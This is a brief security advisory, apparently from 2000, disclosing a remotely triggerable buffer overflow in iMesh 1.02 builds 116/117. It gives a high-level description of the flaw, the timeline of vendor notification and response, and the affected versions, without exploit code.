BluePanda Vulnerability Announcement: iMesh 1.02 Build 116/117

====================
Brief description:
====================

iMesh 1.02 builds 116 and 177 are vulnerable to a buffer overflow that can be
exploited to execute arbitrary code. Once iMesh connects to a server, it
begins listening on a TCP port (varies). An attacker can connect to this port
and cause an overflow which will overwrite EIP, effectively redirecting the
flow of execution.

================
Vendor status:
================

iMesh were notified of this vulnerability on Sunday the 18th of June. Proof
of concept was provided, and I did not receive a response from them until
that Thursday. I replied that night, and did not receive a reply until the
following Tuesday (the 27th of June). I was informed that the problem had
been fixed, but a patch would not be made available to the public, and the
changes would be incorporated into the next version of iMesh - the release
date of which I was not given.

=====================
Affected versions:
=====================

Vulnerable: iMesh 1.02 Build 116/117, possibly prior versions (untested).
Immune: No publicly released version of iMesh as of 29/06/2000 (dd/mm/yyyy).
